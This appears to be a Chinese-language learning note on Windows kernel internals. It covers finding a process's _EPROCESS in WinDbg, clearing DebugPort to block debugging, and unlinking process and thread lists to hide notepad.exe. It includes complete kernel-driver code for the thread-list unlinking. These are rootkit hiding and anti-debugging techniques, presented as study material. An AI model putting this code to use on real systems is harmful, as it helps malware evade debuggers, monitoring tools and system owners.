寻找_EPROCESS
- 方法1:
dd PsActiveProcessHead
获取一个_EPROCESS- 通过链表找到notepad.exe的_EPROCESS
- 然后用这个_EPROCESS打开
- 方法2:
!process 0 0
找到 notepad.exe那一栏dt _EPROCESS 89c09208
地址就是PROCESS后面的那个
清除DebugPort
使用F8单步,直接跳转到了这里,并打印了一句话
调试失败了
当调试器附加的时候才会设置DebugPort,然而如果DebugPort被置空了之后,调试器就没办法进行调试了。当然还有其他办法…
断开进程链表
我们这里简单断一下,就不写代码了
寻找_EPROCESS,上面写过了,便不再赘述
为什么进程还能继续执行呢?
因为CPU的调度单位是线程,进程藏起来了,但是线程仍然可以正常调度
而且点开任务管理器左边的应用程序,就露馅了,还是没有藏好
断开线程链表
#include <ntddk.h>
//要断链的进程名
#define IMAGE_FILE_NAME "notepad.exe"
VOID DriverUnload(PDRIVER_OBJECT driver)
{
DbgPrint("卸载驱动\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
PEPROCESS pEprocess, pCurProcess;
PCHAR ImageFileName;
// 获取 _EPROCESS
__asm
{
push eax
mov eax, fs: [0x124] ; //eax = _KPCR._KPRCB.CurrentThread (_ETHREAD)
mov eax, [eax + 0x220]; //eax = _ETHREAD.ThreadsProcess
mov pEprocess, eax;
pop eax
}
pCurProcess = pEprocess;
// 遍历 ActiveProcessLinks
do
{
ImageFileName = (PCHAR)(((DWORD32)pCurProcess)+ 0x174);
//找到目标进程
if (strcmp(ImageFileName, IMAGE_FILE_NAME) == 0)
{
PLIST_ENTRY list_50, list_190, next_1B0, next_22C;
//_asm int 3; //调试使用
list_50 = (PLIST_ENTRY)(((DWORD32)pCurProcess) + 0x50);
list_190 = (PLIST_ENTRY)(((DWORD32)pCurProcess) + 0x190);
next_1B0 = list_50, next_22C = list_190;
//开始断链
do {
PLIST_ENTRY t_1B0 = next_1B0->Blink;
PLIST_ENTRY t_22C = next_22C->Blink;
//_ETHREAD将链表都指向自己
next_1B0->Flink = (PLIST_ENTRY)(((DWORD32)next_1B0) + 0x0);
next_1B0->Blink = (PLIST_ENTRY)(((DWORD32)next_1B0) + 0x4);
next_22C->Flink = (PLIST_ENTRY)(((DWORD32)next_22C) + 0x0);
next_22C->Blink = (PLIST_ENTRY)(((DWORD32)next_22C) + 0x4);
next_1B0 = t_1B0;
next_22C = t_22C;
} while (next_1B0 != list_50);
}
//DbgPrint("%s\n", ImageFileName);
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
} while (pEprocess != pCurProcess);
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
可恶,没有蓝屏,没有进程崩溃!!!我差点以为自己失败了